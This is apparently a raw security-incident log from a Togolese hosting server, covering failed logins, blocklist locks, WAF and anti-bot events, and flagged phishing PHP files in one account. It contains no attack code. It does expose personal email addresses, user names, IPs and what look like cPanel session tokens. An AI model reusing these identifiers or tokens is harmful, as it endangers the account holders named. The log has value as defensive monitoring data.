# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.61.165.70
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/biashara-africa-2026-le-tchad-salue-lengagement-du-togo-pour-lintegration-economique-africaine/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/15/2026:09:46:27 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.46.161.220
country_id: 2017370
description:
Jun 15 09:46:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.46.161.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-06-15 09:47:09 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com (196-189-126-10.ip.mysourcessayno.tk) [90.230.212.29]:40418: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-15 09:46:25 +0000] info [cpaneld] 5.230.153.34 NEW ifxmoxbf:IuFI58xyEkQedgHM address=5.230.153.34,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-15 09:49:15 +0000] info [webmaild] 160.242.195.10 - mbataka@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.183.69.24
country_id: 3658394
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ns5mail.netmaster.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-06-15 09:48:48 dovecot_login authenticator failed for H=(78.187.230.168.dynamic.ttnet.com.tr) [78.187.230.168]:44470: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.187.230.168
country_id: 298795
description:
Jun 15 09:48:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.187.230.168 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:09:49:29 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:09:49:31 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:09:49:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:09:49:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 202.155.186.60
country_id: 2077456
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:202.155.186.60||TA:202.155.186.60||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 09:52:31 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:33352: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:09:55:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906003&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781517305 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.31.132.88
country_id: 2464461
description:
[2026-06-15 09:55:16 +0000] info [cpaneld] 102.31.132.88 - AWADI "GET /execute/Fileman/list_files?dir=%2Fpublic_html HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:09:55:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661385&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781517303 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:09:55:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130836&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781517304 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 09:56:04 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59806: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.112.145.166
country_id: 1814991
description:
2026-06-15 09:55:39 dovecot_plain authenticator failed for H=(sjgllnt3agzlqol78y2gh3bt3txce2l5) [123.112.145.166]:45772: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-15 09:56:25 +0000] info [cpaneld] 5.230.153.154 NEW ifxmoxbf:cnNutcrfBFfz3R7g address=5.230.153.154,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.202.197
country_id: 3190538
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:209.242.202.197||TA:209.242.202.197||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.26.209
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.233.26.209||TA:104.233.26.209||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.23
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.135417609473446.php||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-15 09:56:26 +0000] info [webmaild] 160.242.195.10 - mbataka@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.90.117.64
country_id: 3469034
domain: www.24heureinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.24heureinfo.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.90.117.64
country_id: 3469034
domain: www.24heureinfo.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.24heureinfo.tghttp/www.24heureinfo.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.154.49.93
country_id: 1210997
description:
[2026-06-15 09:58:25 +0000] info [cpaneld] 103.154.49.93 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.42
country_id: 3469034
description:
Jun 15 09:59:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.42 has been locked due to Imunify RBL


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun 15 10:01:00 ns5 passwd[4042367]: pam_unix(passwd:chauthtok): password changed for edjatiapougloe


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.190.126
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/deces-dede-rose-creppy/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.123.253.156
country_id: 3865483
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/administration HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.190.126
country_id: 3469034
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/deces-dede-rose-creppy/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:03:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:03:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:03:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:03:48 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun 15 10:05:06 ns5 passwd[4045596]: pam_unix(passwd:chauthtok): password changed for edjatiapougloe


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-15 10:04:28 +0000] info [cpaneld] 5.230.153.136 NEW ifxmoxbf:iWF1D0sCTquHJV_p address=5.230.153.136,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.108
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.928252533054729.php||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.87.216.103
country_id: 2750405
description:
2026-06-15 10:07:19 dovecot_plain authenticator failed for H=(sczn80u6clkfhhp2uhre) [194.87.216.103]:60532: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.87.216.103
country_id: 2750405
description:
Jun 15 10:07:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.87.216.103 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 184.72.115.35
country_id: 6252001
description:
184.72.115.35 - - [15/Jun/2026:10:10:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184603&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318437 HTTP/1.1" 404 159 ns5.netmaster.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:184.72.115.35


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:11:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737583&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518278 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.197
country_id: 2661886
description:
193.189.100.197 - ulduzncs [15/Jun/2026:10:10:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791640&pdata=https%253A%252F%252Ftensai.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518242 HTTP/2.0" 302 0 tensai.tg "https://tensai.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.189.100.197
country_id: 2661886
description:
[2026-06-15 10:10:44 +0000] info [cpaneld] 193.189.100.197 - ulduzncs "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 10:10:44 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56968: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.197
country_id: 2661886
description:
193.189.100.197 - ulduzncs [15/Jun/2026:10:11:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937877&pdata=https%253A%252F%252Ftensai.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518281 HTTP/2.0" 302 0 tensai.tg "https://tensai.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.197


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:10:11:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10252695&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518282 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.13.252
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/prubeneficial.tg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:11:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6578841&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518279 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.189.100.197
country_id: 2661886
description:
[2026-06-15 10:11:23 +0000] info [cpaneld] 193.189.100.197 - ulduzncs "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.206.181
country_id: 2363686
description:
[2026-06-15 10:12:22 +0000] info [webmaild] 196.168.206.181 - guillaume.saguintaah@togointerim.net guillaume.saguintaah@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-15 10:16:02 +0000] info [webmaild] 160.242.195.10 - etchonda@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.203
country_id: 6252001
description:
[2026-06-15 10:15:41 +0000] info [cpaneld] 45.38.16.203 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:19:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:18:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:19:01 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:18:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [15/Jun/2026:10:19:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997866&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fflamingo-club%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518756 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/flamingo-club/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.33
country_id: 2287781
description:
2026-06-15 10:20:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.33]:12429: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.111.247.159
country_id: 3017382
description:
[2026-06-15 10:20:53 +0000] info [whostmgrd] 95.111.247.159 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.33
country_id: 2287781
description:
2026-06-15 10:20:59 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.33]:12436: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.86.58.141
country_id: 6290252
description:
Jun 15 10:20:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.86.58.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.203
country_id: 6252001
description:
[2026-06-15 10:22:13 +0000] info [cpaneld] 45.38.16.203 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.195
country_id: 3175395
description:
Jun 15 10:21:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.33
country_id: 2287781
description:
2026-06-15 10:21:59 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.33]:15376: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.161.190.176
country_id: 6252001
description:
